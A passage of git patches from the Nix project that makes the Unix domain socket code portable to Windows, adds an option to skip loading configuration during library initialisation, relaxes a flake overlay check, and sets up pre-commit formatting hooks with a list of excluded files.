b/src/libstore/uds-remote-store.md similarity index 100% rename from src/libstore/unix/uds-remote-store.md rename to src/libstore/uds-remote-store.md diff --git a/src/libstore/unix/gc.cc b/src/libstore/unix/gc.cc index 68d049485..be5794395 100644 --- a/src/libstore/unix/gc.cc +++ b/src/libstore/unix/gc.cc @@ -35,20 +35,6 @@ static std::string gcSocketPath = "/gc-socket/socket"; static std::string gcRootsDir = "gcroots"; -static void makeSymlink(const Path & link, const Path & target) -{ - /* Create directories up to `gcRoot'. */ - createDirs(dirOf(link)); - - /* Create the new symlink. */ - Path tempLink = fmt("%1%.tmp-%2%-%3%", link, getpid(), rand()); - createSymlink(target, tempLink); - - /* Atomically replace the old one. */ - renameFile(tempLink, link); -} - - void LocalStore::addIndirectRoot(const Path & path) { std::string hash = hashString(HashAlgorithm::SHA1, path).to_string(HashFormat::Nix32, false); @@ -57,32 +43,6 @@ void LocalStore::addIndirectRoot(const Path & path) } -Path IndirectRootStore::addPermRoot(const StorePath & storePath, const Path & _gcRoot) -{ - Path gcRoot(canonPath(_gcRoot)); - - if (isInStore(gcRoot)) - throw Error( - "creating a garbage collector root (%1%) in the Nix store is forbidden " - "(are you running nix-build inside the store?)", gcRoot); - - /* Register this root with the garbage collector, if it's - running. This should be superfluous since the caller should - have registered this root yet, but let's be on the safe - side. */ - addTempRoot(storePath); - - /* Don't clobber the link if it already exists and doesn't - point to the Nix store. */ - if (pathExists(gcRoot) && (!isLink(gcRoot) || !isInStore(readLink(gcRoot)))) - throw Error("cannot create symlink '%1%'; already exists", gcRoot); - makeSymlink(gcRoot, printStorePath(storePath)); - addIndirectRoot(gcRoot); - - return gcRoot; -} - - void LocalStore::createTempRootsFile() { auto fdTempRoots(_fdTempRoots.lock()); diff --git a/src/libutil/unix/unix-domain-socket.cc b/src/libutil/unix-domain-socket.cc similarity index 84% rename from src/libutil/unix/unix-domain-socket.cc rename to src/libutil/unix-domain-socket.cc index 0bcf9040d..87914bb83 100644 --- a/src/libutil/unix/unix-domain-socket.cc +++ b/src/libutil/unix-domain-socket.cc @@ -1,24 +1,31 @@ #include "file-system.hh" -#include "processes.hh" #include "unix-domain-socket.hh" #include "util.hh" -#include -#include +#ifdef _WIN32 +# include +# include +#else +# include +# include +# include "processes.hh" +#endif #include namespace nix { AutoCloseFD createUnixDomainSocket() { - AutoCloseFD fdSocket = socket(PF_UNIX, SOCK_STREAM + AutoCloseFD fdSocket = toDescriptor(socket(PF_UNIX, SOCK_STREAM #ifdef SOCK_CLOEXEC | SOCK_CLOEXEC #endif - , 0); + , 0)); if (!fdSocket) throw SysError("cannot create Unix domain socket"); +#ifndef _WIN32 closeOnExec(fdSocket.get()); +#endif return fdSocket; } @@ -32,16 +39,15 @@ AutoCloseFD createUnixDomainSocket(const Path & path, mode_t mode) if (chmod(path.c_str(), mode) == -1) throw SysError("changing permissions on '%1%'", path); - if (listen(fdSocket.get(), 100) == -1) + if (listen(toSocket(fdSocket.get()), 100) == -1) throw SysError("cannot listen on socket '%1%'", path); return fdSocket; } - static void bindConnectProcHelper( std::string_view operationName, auto && operation, - int fd, const std::string & path) + Socket fd, const std::string & path) { struct sockaddr_un addr; addr.sun_family = AF_UNIX; @@ -54,6 +60,9 @@ static void bindConnectProcHelper( auto * psaddr = reinterpret_cast(&addr); if (path.size() + 1 >= sizeof(addr.sun_path)) { +#ifdef _WIN32 + throw Error("cannot %s to socket at '%s': path is too long", operationName, path); +#else Pipe pipe; pipe.create(); Pid pid = startProcess([&] { @@ -83,6 +92,7 @@ static void bindConnectProcHelper( errno = *errNo; throw SysError("cannot %s to socket at '%s'", operationName, path); } +#endif } else { memcpy(addr.sun_path, path.c_str(), path.size() + 1); if (operation(fd, psaddr, sizeof(addr)) == -1) @@ -91,7 +101,7 @@ static void bindConnectProcHelper( } -void bind(int fd, const std::string & path) +void bind(Socket fd, const std::string & path) { unlink(path.c_str()); @@ -99,7 +109,7 @@ void bind(int fd, const std::string & path) } -void connect(int fd, const std::string & path) +void connect(Socket fd, const std::string & path) { bindConnectProcHelper("connect", ::connect, fd, path); } diff --git a/src/libutil/unix-domain-socket.hh b/src/libutil/unix-domain-socket.hh new file mode 100644 index 000000000..9aba9f628 --- /dev/null +++ b/src/libutil/unix-domain-socket.hh @@ -0,0 +1,84 @@ +#pragma once +///@file + +#include "types.hh" +#include "file-descriptor.hh" + +#ifdef _WIN32 +# include +#endif +#include + +namespace nix { + +/** + * Create a Unix domain socket. + */ +AutoCloseFD createUnixDomainSocket(); + +/** + * Create a Unix domain socket in listen mode. + */ +AutoCloseFD createUnixDomainSocket(const Path & path, mode_t mode); + + +/** + * Often we want to use `Descriptor`, but Windows makes a slightly + * stronger file descriptor vs socket distinction, at least at the level + * of C types. + */ +using Socket = +#ifdef _WIN32 + SOCKET +#else + int +#endif + ; + +#ifdef _WIN32 +/** + * Windows gives this a different name + */ +# define SHUT_WR SD_SEND +#endif + +/** + * Convert a `Socket` to a `Descriptor` + * + * This is a no-op except on Windows. + */ +static inline Socket toSocket(Descriptor fd) +{ +#ifdef _WIN32 + return reinterpret_cast(fd); +#else + return fd; +#endif +} + +/** + * Convert a `Socket` to a `Descriptor` + * + * This is a no-op except on Windows. + */ +static inline Descriptor fromSocket(Socket fd) +{ +#ifdef _WIN32 + return reinterpret_cast(fd); +#else + return fd; +#endif +} + + +/** + * Bind a Unix domain socket to a path. + */ +void bind(Socket fd, const std::string & path); + +/** + * Connect to a Unix domain socket. + */ +void connect(Socket fd, const std::string & path); + +} diff --git a/src/libutil/unix/unix-domain-socket.hh b/src/libutil/unix/unix-domain-socket.hh deleted file mode 100644 index b78feb454..000000000 --- a/src/libutil/unix/unix-domain-socket.hh +++ /dev/null @@ -1,31 +0,0 @@ -#pragma once -///@file - -#include "types.hh" -#include "file-descriptor.hh" - -#include - -namespace nix { - -/** - * Create a Unix domain socket. - */ -AutoCloseFD createUnixDomainSocket(); - -/** - * Create a Unix domain socket in listen mode. - */ -AutoCloseFD createUnixDomainSocket(const Path & path, mode_t mode); - -/** - * Bind a Unix domain socket to a path. - */ -void bind(int fd, const std::string & path); - -/** - * Connect to a Unix domain socket. - */ -void connect(int fd, const std::string & path); - -} From 8c4c2156bd786156a57219e78aa14a363ca8f041 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 19 Apr 2024 15:48:56 +0200 Subject: [PATCH 0493/1251] doc/glossary: Define output closure (#8311) --- doc/manual/src/glossary.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md index c4d9c2a52..66e4628c0 100644 --- a/doc/manual/src/glossary.md +++ b/doc/manual/src/glossary.md @@ -215,6 +215,9 @@ [output path]: #gloss-output-path +- [output closure]{#gloss-output-closure}\ + The [closure] of an [output path]. It only contains what is [reachable] from the output. + - [deriver]{#gloss-deriver} The [store derivation] that produced an [output path]. From e05b58b06004cdc1185c8f1fdc0d3ffbd2723245 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 19 Apr 2024 23:41:56 +0200 Subject: [PATCH 0494/1251] init: Add flag to avoid loading configuration --- src/libmain/shared.cc | 4 ++-- src/libmain/shared.hh | 3 ++- src/libstore-c/nix_api_store.cc | 10 ++++++++++ src/libstore-c/nix_api_store.h | 7 +++++++ src/libstore/globals.cc | 5 +++-- src/libstore/globals.hh | 5 +++-- 6 files changed, 27 insertions(+), 7 deletions(-) diff --git a/src/libmain/shared.cc b/src/libmain/shared.cc index a43a00f16..d6fb58e4a 100644 --- a/src/libmain/shared.cc +++ b/src/libmain/shared.cc @@ -113,7 +113,7 @@ static void sigHandler(int signo) { } #endif -void initNix() +void initNix(bool loadConfig) { /* Turn on buffering for cerr. */ #if HAVE_PUBSETBUF @@ -121,7 +121,7 @@ void initNix() std::cerr.rdbuf()->pubsetbuf(buf, sizeof(buf)); #endif - initLibStore(); + initLibStore(loadConfig); #ifndef _WIN32 unix::startSignalHandlerThread(); diff --git a/src/libmain/shared.hh b/src/libmain/shared.hh index 3c657d2b7..aa44e1321 100644 --- a/src/libmain/shared.hh +++ b/src/libmain/shared.hh @@ -21,8 +21,9 @@ int handleExceptions(const std::string & programName, std::function fun) /** * Don't forget to call initPlugins() after settings are initialized! + * @param loadConfig Whether to load configuration from `nix.conf`, `NIX_CONFIG`, etc. May be disabled for unit tests. */ -void initNix(); +void initNix(bool loadConfig = true); void parseCmdLine(int argc, char * * argv, std::function parseArg); diff --git a/src/libstore-c/nix_api_store.cc b/src/libstore-c/nix_api_store.cc index 6ce4d01bb..4fe25c7d4 100644 --- a/src/libstore-c/nix_api_store.cc +++ b/src/libstore-c/nix_api_store.cc @@ -19,6 +19,16 @@ nix_err nix_libstore_init(nix_c_context * context) NIXC_CATCH_ERRS } +nix_err nix_libstore_init_no_load_config(nix_c_context * context) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::initLibStore(false); + } + NIXC_CATCH_ERRS +} + nix_err nix_init_plugins(nix_c_context * context) { if (context) diff --git a/src/libstore-c/nix_api_store.h b/src/libstore-c/nix_api_store.h index c83aca3f7..209f91f0d 100644 --- a/src/libstore-c/nix_api_store.h +++ b/src/libstore-c/nix_api_store.h @@ -35,6 +35,13 @@ typedef struct StorePath StorePath; */ nix_err nix_libstore_init(nix_c_context * context); +/** + * @brief Like nix_libstore_init, but does not load the Nix configuration. + * + * This is useful when external configuration is not desired, such as when running unit tests. + */ +nix_err nix_libstore_init_no_load_config(nix_c_context * context); + /** * @brief Loads the plugins specified in Nix's plugin-files setting. * diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index 83e54e008..dfe3044ea 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -427,12 +427,13 @@ void assertLibStoreInitialized() { }; } -void initLibStore() { +void initLibStore(bool loadConfig) { if (initLibStoreDone) return; initLibUtil(); - loadConfFile(); + if (loadConfig) + loadConfFile(); preloadNSS(); diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh index 852dba764..933fc2e5a 100644 --- a/src/libstore/globals.hh +++ b/src/libstore/globals.hh @@ -1279,9 +1279,10 @@ std::vector getUserConfigFiles(); extern const std::string nixVersion; /** - * NB: This is not sufficient. You need to call initNix() + * @param loadConfig Whether to load configuration from `nix.conf`, `NIX_CONFIG`, etc. May be disabled for unit tests. + * @note When using libexpr, and/or libmain, This is not sufficient. See initNix(). */ -void initLibStore(); +void initLibStore(bool loadConfig = true); /** * It's important to initialize before doing _anything_, which is why we From 0ecf7dac3b3d87641e32e1ed2cbafb1c2b5f7572 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 19 Apr 2024 23:45:31 +0200 Subject: [PATCH 0495/1251] tests/test-libstoreconsumer: Ignore config --- tests/functional/test-libstoreconsumer/main.cc | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tests/functional/test-libstoreconsumer/main.cc b/tests/functional/test-libstoreconsumer/main.cc index c61489af6..efc7f29fc 100644 --- a/tests/functional/test-libstoreconsumer/main.cc +++ b/tests/functional/test-libstoreconsumer/main.cc @@ -15,7 +15,8 @@ int main (int argc, char **argv) std::string drvPath = argv[1]; - initLibStore(); + // This small program is a test, so we do not want user config to interfere. + initLibStore(false); auto store = nix::openStore(); From bcaa2e4a85e1802a90cacc1a24151d7433f84c18 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 19 Apr 2024 23:45:59 +0200 Subject: [PATCH 0496/1251] tests/libstore-support: Ignore config --- tests/unit/libstore-support/tests/libstore.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/unit/libstore-support/tests/libstore.hh b/tests/unit/libstore-support/tests/libstore.hh index 78b162b95..267188224 100644 --- a/tests/unit/libstore-support/tests/libstore.hh +++ b/tests/unit/libstore-support/tests/libstore.hh @@ -11,7 +11,7 @@ namespace nix { class LibStoreTest : public virtual ::testing::Test { public: static void SetUpTestSuite() { - initLibStore(); + initLibStore(false); } protected: From 1b6cd1d2af3d8205eac4a20477a46f0b966dfcaa Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 20 Apr 2024 00:17:17 +0200 Subject: [PATCH 0497/1251] Revert "tests/test-libstoreconsumer: Ignore config" This reverts commit 62feb5ca09263c78ddb692836228223e5b58d3ae. It runs as part of the functional tests, which control the environment, solving some of the problems a default config has when run in the sandbox. --- tests/functional/test-libstoreconsumer/main.cc | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/tests/functional/test-libstoreconsumer/main.cc b/tests/functional/test-libstoreconsumer/main.cc index efc7f29fc..c61489af6 100644 --- a/tests/functional/test-libstoreconsumer/main.cc +++ b/tests/functional/test-libstoreconsumer/main.cc @@ -15,8 +15,7 @@ int main (int argc, char **argv) std::string drvPath = argv[1]; - // This small program is a test, so we do not want user config to interfere. - initLibStore(false); + initLibStore(); auto store = nix::openStore(); From ad65a50a94a97bf1f1a1902f43542d28a2e8206b Mon Sep 17 00:00:00 2001 From: Tom Sydney Kerckhove Date: Sat, 20 Apr 2024 14:46:23 +0200 Subject: [PATCH 0498/1251] Remove the 'prev' check --- src/nix/flake.cc | 5 ----- 1 file changed, 5 deletions(-) diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 4825ab0e1..d5987237f 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -454,11 +454,6 @@ struct CmdFlakeCheck : FlakeCommand if (v.payload.lambda.fun->hasFormals() || !argHasName(v.payload.lambda.fun->arg, "final")) throw Error("overlay does not take an argument named 'final'"); - auto body = dynamic_cast(v.payload.lambda.fun->body); - if (!body - || body->hasFormals() - || !argHasName(body->arg, "prev")) - throw Error("overlay does not take an argument named 'prev'"); // FIXME: if we have a 'nixpkgs' input, use it to // evaluate the overlay. } catch (Error & e) { From 5b36ee4c95531fcfb7f421b8239112043bb787f2 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 18 Apr 2024 21:59:39 +0200 Subject: [PATCH 0499/1251] Add pre-commit hook and make format target I've added the new local.mk to the package sources. While this should not be needed for the build, it is the simplest solution, and won't cause many extra rebuilds, because the file won't change very often. --- .gitignore | 2 + Makefile | 1 + doc/manual/src/contributing/hacking.md | 23 ++ flake.lock | 65 +++- flake.nix | 50 ++- maintainers/flake-module.nix | 454 +++++++++++++++++++++++++ maintainers/local.mk | 15 + package.nix | 2 + 8 files changed, 608 insertions(+), 4 deletions(-) create mode 100644 maintainers/flake-module.nix create mode 100644 maintainers/local.mk diff --git a/.gitignore b/.gitignore index 6996ca484..52aaec23f 100644 --- a/.gitignore +++ b/.gitignore @@ -154,6 +154,8 @@ result-* .vscode/ .idea/ +.pre-commit-config.yaml + # clangd and possibly more .cache/ diff --git a/Makefile b/Makefile index ba5a6cd92..ea0754fa5 100644 --- a/Makefile +++ b/Makefile @@ -27,6 +27,7 @@ makefiles = \ ifdef HOST_UNIX makefiles += \ scripts/local.mk \ + maintainers/local.mk \ misc/bash/local.mk \ misc/fish/local.mk \ misc/zsh/local.mk \ diff --git a/doc/manual/src/contributing/hacking.md b/doc/manual/src/contributing/hacking.md index c43149c4d..61c513a15 100644 --- a/doc/manual/src/contributing/hacking.md +++ b/doc/manual/src/contributing/hacking.md @@ -273,6 +273,29 @@ Configure your editor to use the `clangd` from the `.#native-clangStdenvPackages > Some other editors (e.g. Emacs, Vim) need a plugin to support LSP servers in general (e.g. [lsp-mode](https://github.com/emacs-lsp/lsp-mode) for Emacs and [vim-lsp](https://github.com/prabirshrestha/vim-lsp) for vim). > Editor-specific setup is typically opinionated, so we will not cover it here in more detail. +## Formatting and pre-commit + +You may run the formatters as a one-off using: + +```console +make format +``` + +If you'd like to run the formatters before every commit, install the hooks: + +``` +pre-commit-hooks-install +``` + +This installs [pre-commit](https://pre-commit.com) using [cachix/git-hooks.nix](https://github.com/cachix/git-hooks.nix). + +When making a commit, pay attention to the console output. +If it fails, run `git add --patch` to approve the suggestions _and commit again_. + +To refresh the config, do the following: +- if you use `make format`: stop and start your `nix develop` shell. +- if you use the pre-commit hook: stop and start, and run `pre-commit-hooks-install` again. + ## Add a release note `doc/manual/rl-next` contains release notes entries for all unreleased changes. diff --git a/flake.lock b/flake.lock index bb2e400c0..409463ad8 100644 --- a/flake.lock +++ b/flake.lock @@ -16,6 +16,41 @@ "type": "github" } }, + "flake-parts": { + "inputs": { + "nixpkgs-lib": [ + "nixpkgs" + ] + }, + "locked": { + "lastModified": 1712014858, + "narHash": "sha256-sB4SWl2lX95bExY2gMFG5HIzvva5AVMJd4Igm+GpZNw=", + "owner": "hercules-ci", + "repo": "flake-parts", + "rev": "9126214d0a59633752a136528f5f3b9aa8565b7d", + "type": "github" + }, + "original": { + "owner": "hercules-ci", + "repo": "flake-parts", + "type": "github" + } + }, + "flake-utils": { + "locked": { + "lastModified": 1667395993, + "narHash": "sha256-nuEHfE/LcWyuSWnS8t12N1wc105Qtau+/OdUAjtQ0rA=", + "owner": "numtide", + "repo": "flake-utils", + "rev": "5aed5285a952e0b949eb3ba02c12fa4fcfef535f", + "type": "github" + }, + "original": { + "owner": "numtide", + "repo": "flake-utils", + "type": "github" + } + }, "libgit2": { "flake": false, "locked": { @@ -64,12 +99,40 @@ "type": "github" } }, + "pre-commit-hooks": { + "inputs": { + "flake-compat": [], + "flake-utils": "flake-utils", + "gitignore": [], + "nixpkgs": [ + "nixpkgs" + ], + "nixpkgs-stable": [ + "nixpkgs" + ] + }, + "locked": { + "lastModified": 1712897695, + "narHash": "sha256-nMirxrGteNAl9sWiOhoN5tIHyjBbVi5e2tgZUgZlK3Y=", + "owner": "cachix", + "repo": "pre-commit-hooks.nix", + "rev": "40e6053ecb65fcbf12863338a6dcefb3f55f1bf8", + "type": "github" + }, + "original": { + "owner": "cachix", + "repo": "pre-commit-hooks.nix", + "type": "github" + } + }, "root": { "inputs": { "flake-compat": "flake-compat", + "flake-parts": "flake-parts", "libgit2": "libgit2", "nixpkgs": "nixpkgs", - "nixpkgs-regression": "nixpkgs-regression" + "nixpkgs-regression": "nixpkgs-regression", + "pre-commit-hooks": "pre-commit-hooks" } } }, diff --git a/flake.nix b/flake.nix index 07d909fcd..15aa8d3b5 100644 --- a/flake.nix +++ b/flake.nix @@ -8,7 +8,19 @@ inputs.flake-compat = { url = "github:edolstra/flake-compat"; flake = false; }; inputs.libgit2 = { url = "github:libgit2/libgit2"; flake = false; }; - outputs = { self, nixpkgs, nixpkgs-regression, libgit2, ... }: + # dev tooling + inputs.flake-parts.url = "github:hercules-ci/flake-parts"; + inputs.pre-commit-hooks.url = "github:cachix/pre-commit-hooks.nix"; + # work around https://github.com/NixOS/nix/issues/7730 + inputs.flake-parts.inputs.nixpkgs-lib.follows = "nixpkgs"; + inputs.pre-commit-hooks.inputs.nixpkgs.follows = "nixpkgs"; + inputs.pre-commit-hooks.inputs.nixpkgs-stable.follows = "nixpkgs"; + # work around 7730 and https://github.com/NixOS/nix/issues/7807 + inputs.pre-commit-hooks.inputs.flake-compat.follows = ""; + inputs.pre-commit-hooks.inputs.gitignore.follows = ""; + + outputs = inputs@{ self, nixpkgs, nixpkgs-regression, libgit2, ... }: + let inherit (nixpkgs) lib; @@ -57,6 +69,17 @@ }) stdenvs); + + # We don't apply flake-parts to the whole flake so that non-development attributes + # load without fetching any development inputs. + devFlake = inputs.flake-parts.lib.mkFlake { inherit inputs; } { + imports = [ ./maintainers/flake-module.nix ]; + systems = lib.subtractLists crossSystems systems; + perSystem = { system, ... }: { + _module.args.pkgs = nixpkgsFor.${system}.native; + }; + }; + # Memoize nixpkgs for different platforms for efficiency. nixpkgsFor = forAllSystems (system: let @@ -186,6 +209,12 @@ inherit fileset stdenv; }; + # https://github.com/NixOS/nixpkgs/pull/214409 + pre-commit = + if prev.stdenv.hostPlatform.system == "i686-linux" + then (prev.pre-commit.override (o: { dotnet-sdk = ""; })).overridePythonAttrs (o: { doCheck = false; }) + else prev.pre-commit; + }; in { @@ -361,7 +390,8 @@ # Since the support is only best-effort there, disable the perl # bindings perlBindings = self.hydraJobs.perlBindings.${system}; - }); + } // devFlake.checks.${system} or {} + ); packages = forAllSystems (system: rec { inherit (nixpkgsFor.${system}.native) nix changelog-d-nix; @@ -396,7 +426,10 @@ stdenvs))); devShells = let - makeShell = pkgs: stdenv: (pkgs.nix.override { inherit stdenv; forDevShell = true; }).overrideAttrs (attrs: { + makeShell = pkgs: stdenv: (pkgs.nix.override { inherit stdenv; forDevShell = true; }).overrideAttrs (attrs: + let + modular = devFlake.getSystem stdenv.buildPlatform.system; + in { installFlags = "sysconfdir=$(out)/etc"; shellHook = '' PATH=$prefix/bin:$PATH @@ -407,7 +440,18 @@ XDG_DATA_DIRS+=:$out/share ''; + env = { + # For `make format`, to work without installing pre-commit + _NIX_PRE_COMMIT_HOOKS_CONFIG = + "${(pkgs.formats.yaml { }).generate "pre-commit-config.yaml" modular.pre-commit.settings.rawConfig}"; + }; + nativeBuildInputs = attrs.nativeBuildInputs or [] + ++ [ + modular.pre-commit.settings.package + (pkgs.writeScriptBin "pre-commit-hooks-install" + modular.pre-commit.settings.installationScript) + ] # TODO: Remove the darwin check once # https://github.com/NixOS/nixpkgs/pull/291814 is available ++ lib.optional (stdenv.cc.isClang && !stdenv.buildPlatform.isDarwin) pkgs.buildPackages.bear diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix new file mode 100644 index 000000000..ae78d4384 --- /dev/null +++ b/maintainers/flake-module.nix @@ -0,0 +1,454 @@ +{ lib, getSystem, inputs, ... }: + +{ + imports = [ + inputs.pre-commit-hooks.flakeModule + ]; + + perSystem = { config, pkgs, ... }: { + + # https://flake.parts/options/pre-commit-hooks-nix.html#options + pre-commit.settings = { + hooks = { + clang-format.enable = true; + nixpkgs-fmt.enable = true; + }; + + excludes = [ + # We don't want to format test data + # ''tests/(?!nixos/).*\.nix'' + ''^tests/.*'' + + # Don't format vendored code + ''^src/toml11/.*'' + ''^doc/manual/redirects\.js$'' + ''^doc/manual/theme/highlight\.js$'' + + # We haven't applied formatting to these files yet + ''^doc/manual/generate-manpage\.nix$'' + ''^doc/manual/generate-settings\.nix$'' + ''^doc/manual/generate-store-info\.nix$'' + ''^doc/manual/generate-xp-features-shortlist\.nix$'' + ''^doc/manual/redirects\.js$'' + ''^doc/manual/theme/highlight\.js$'' + ''^doc/manual/utils\.nix$'' + ''^docker\.nix$'' + ''^flake\.nix$'' + ''^maintainers/flake-module\.nix$'' + ''^maintainers/flake-module\.nix$'' + ''^misc/changelog-d\.cabal\.nix$'' + ''^misc/changelog-d\.nix$'' + ''^package\.nix$'' + ''^perl/default\.nix$'' + ''^precompiled-headers\.h$'' + ''^scripts/installer\.nix$'' + ''^src/build-remote/build-remote\.cc$'' + ''^src/libcmd/built-path\.cc$'' + ''^src/libcmd/built-path\.hh$'' + ''^src/libcmd/command\.cc$'' + ''^src/libcmd/command\.hh$'' + ''^src/libcmd/common-eval-args\.cc$'' + ''^src/libcmd/common-eval-args\.hh$'' + ''^src/libcmd/editor-for\.cc$'' + ''^src/libcmd/installable-attr-path\.cc$'' + ''^src/libcmd/installable-attr-path\.hh$'' + ''^src/libcmd/installable-derived-path\.cc$'' + ''^src/libcmd/installable-derived-path\.hh$'' + ''^src/libcmd/installable-flake\.cc$'' + ''^src/libcmd/installable-flake\.hh$'' + ''^src/libcmd/installable-value\.cc$'' + ''^src/libcmd/installable-value\.hh$'' + ''^src/libcmd/installables\.cc$'' + ''^src/libcmd/installables\.hh$'' + ''^src/libcmd/legacy\.hh$'' + ''^src/libcmd/markdown\.cc$'' + ''^src/libcmd/misc-store-flags\.cc$'' + ''^src/libcmd/repl-interacter\.cc$'' + ''^src/libcmd/repl-interacter\.hh$'' + ''^src/libcmd/repl\.cc$'' + ''^src/libcmd/repl\.hh$'' + ''^src/libexpr-c/nix_api_expr\.cc$'' + ''^src/libexpr-c/nix_api_external\.cc$'' + ''^src/libexpr/attr-path\.cc$'' + ''^src/libexpr/attr-path\.hh$'' + ''^src/libexpr/attr-set\.cc$'' + ''^src/libexpr/attr-set\.hh$'' + ''^src/libexpr/eval-cache\.cc$'' + ''^src/libexpr/eval-cache\.hh$'' + ''^src/libexpr/eval-error\.cc$'' + ''^src/libexpr/eval-inline\.hh$'' + ''^src/libexpr/eval-settings\.cc$'' + ''^src/libexpr/eval-settings\.hh$'' + ''^src/libexpr/eval\.cc$'' + ''^src/libexpr/eval\.hh$'' + ''^src/libexpr/fetchurl\.nix$'' + ''^src/libexpr/flake/call-flake\.nix$'' + ''^src/libexpr/flake/config\.cc$'' + ''^src/libexpr/flake/flake\.cc$'' + ''^src/libexpr/flake/flake\.hh$'' + ''^src/libexpr/flake/flakeref\.cc$'' + ''^src/libexpr/flake/flakeref\.hh$'' + ''^src/libexpr/flake/lockfile\.cc$'' + ''^src/libexpr/flake/lockfile\.hh$'' + ''^src/libexpr/flake/url-name\.cc$'' + ''^src/libexpr/function-trace\.cc$'' + ''^src/libexpr/gc-small-vector\.hh$'' + ''^src/libexpr/get-drvs\.cc$'' + ''^src/libexpr/get-drvs\.hh$'' + ''^src/libexpr/imported-drv-to-derivation\.nix$'' + ''^src/libexpr/json-to-value\.cc$'' + ''^src/libexpr/nixexpr\.cc$'' + ''^src/libexpr/nixexpr\.hh$'' + ''^src/libexpr/parser-state\.hh$'' + ''^src/libexpr/pos-table\.hh$'' + ''^src/libexpr/primops\.cc$'' + ''^src/libexpr/primops\.hh$'' + ''^src/libexpr/primops/context\.cc$'' + ''^src/libexpr/primops/derivation\.nix$'' + ''^src/libexpr/primops/fetchClosure\.cc$'' + ''^src/libexpr/primops/fetchMercurial\.cc$'' + ''^src/libexpr/primops/fetchTree\.cc$'' + ''^src/libexpr/primops/fromTOML\.cc$'' + ''^src/libexpr/print-ambiguous\.cc$'' + ''^src/libexpr/print-ambiguous\.hh$'' + ''^src/libexpr/print-options\.hh$'' + ''^src/libexpr/print\.cc$'' + ''^src/libexpr/print\.hh$'' + ''^src/libexpr/search-path\.cc$'' + ''^src/libexpr/symbol-table\.hh$'' + ''^src/libexpr/value-to-json\.cc$'' + ''^src/libexpr/value-to-json\.hh$'' + ''^src/libexpr/value-to-xml\.cc$'' + ''^src/libexpr/value-to-xml\.hh$'' + ''^src/libexpr/value\.hh$'' + ''^src/libexpr/value/context\.cc$'' + ''^src/libexpr/value/context\.hh$'' + ''^src/libfetchers/attrs\.cc$'' + ''^src/libfetchers/cache\.cc$'' + ''^src/libfetchers/cache\.hh$'' + ''^src/libfetchers/fetch-settings\.cc$'' + ''^src/libfetchers/fetch-settings\.hh$'' + ''^src/libfetchers/fetch-to-store\.cc$'' + ''^src/libfetchers/fetchers\.cc$'' + ''^src/libfetchers/fetchers\.hh$'' + ''^src/libfetchers/filtering-input-accessor\.cc$'' + ''^src/libfetchers/filtering-input-accessor\.hh$'' + ''^src/libfetchers/fs-input-accessor\.cc$'' + ''^src/libfetchers/fs-input-accessor\.hh$'' + ''^src/libfetchers/git-utils\.cc$'' + ''^src/libfetchers/git-utils\.hh$'' + ''^src/libfetchers/github\.cc$'' + ''^src/libfetchers/indirect\.cc$'' + ''^src/libfetchers/memory-input-accessor\.cc$'' + ''^src/libfetchers/path\.cc$'' + ''^src/libfetchers/registry\.cc$'' + ''^src/libfetchers/registry\.hh$'' + ''^src/libfetchers/tarball\.cc$'' + ''^src/libfetchers/tarball\.hh$'' + ''^src/libfetchers/unix/git\.cc$'' + ''^src/libfetchers/unix/mercurial\.cc$'' + ''^src/libmain/common-args\.cc$'' + ''^src/libmain/common-args\.hh$'' + ''^src/libmain/loggers\.cc$'' + ''^src/libmain/loggers\.hh$'' + ''^src/libmain/progress-bar\.cc$'' + ''^src/libmain/shared\.cc$'' + ''^src/libmain/shared\.hh$'' + ''^src/libmain/unix/stack\.cc$'' + ''^src/libstore/binary-cache-store\.cc$'' + ''^src/libstore/binary-cache-store\.hh$'' + ''^src/libstore/build-result\.hh$'' + ''^src/libstore/builtins\.hh$'' + ''^src/libstore/builtins/buildenv\.cc$'' + ''^src/libstore/builtins/buildenv\.hh$'' + ''^src/libstore/common-protocol-impl\.hh$'' + ''^src/libstore/common-protocol\.cc$'' + ''^src/libstore/common-protocol\.hh$'' + ''^src/libstore/content-address\.cc$'' + ''^src/libstore/content-address\.hh$'' + ''^src/libstore/daemon\.cc$'' + ''^src/libstore/daemon\.hh$'' + ''^src/libstore/derivations\.cc$'' + ''^src/libstore/derivations\.hh$'' + ''^src/libstore/derived-path-map\.cc$'' + ''^src/libstore/derived-path-map\.hh$'' + ''^src/libstore/derived-path\.cc$'' + ''^src/libstore/derived-path\.hh$'' + ''^src/libstore/downstream-placeholder\.cc$'' + ''^src/libstore/downstream-placeholder\.hh$'' + ''^src/libstore/dummy-store\.cc$'' + ''^src/libstore/export-import\.cc$'' + ''^src/libstore/filetransfer\.cc$'' + ''^src/libstore/filetransfer\.hh$'' + ''^src/libstore/gc-store\.hh$'' + ''^src/libstore/globals\.cc$'' + ''^src/libstore/globals\.hh$'' + ''^src/libstore/http-binary-cache-store\.cc$'' + ''^src/libstore/legacy-ssh-store\.cc$'' + ''^src/libstore/legacy-ssh-store\.hh$'' + ''^src/libstore/length-prefixed-protocol-helper\.hh$'' + ''^src/libstore/linux/personality\.cc$'' + ''^src/libstore/linux/personality\.hh$'' + ''^src/libstore/local-binary-cache-store\.cc$'' + ''^src/libstore/local-fs-store\.cc$'' + ''^src/libstore/local-fs-store\.hh$'' + ''^src/libstore/log-store\.cc$'' + ''^src/libstore/log-store\.hh$'' + ''^src/libstore/machines\.cc$'' + ''^src/libstore/machines\.hh$'' + ''^src/libstore/make-content-addressed\.cc$'' + ''^src/libstore/make-content-addressed\.hh$'' + 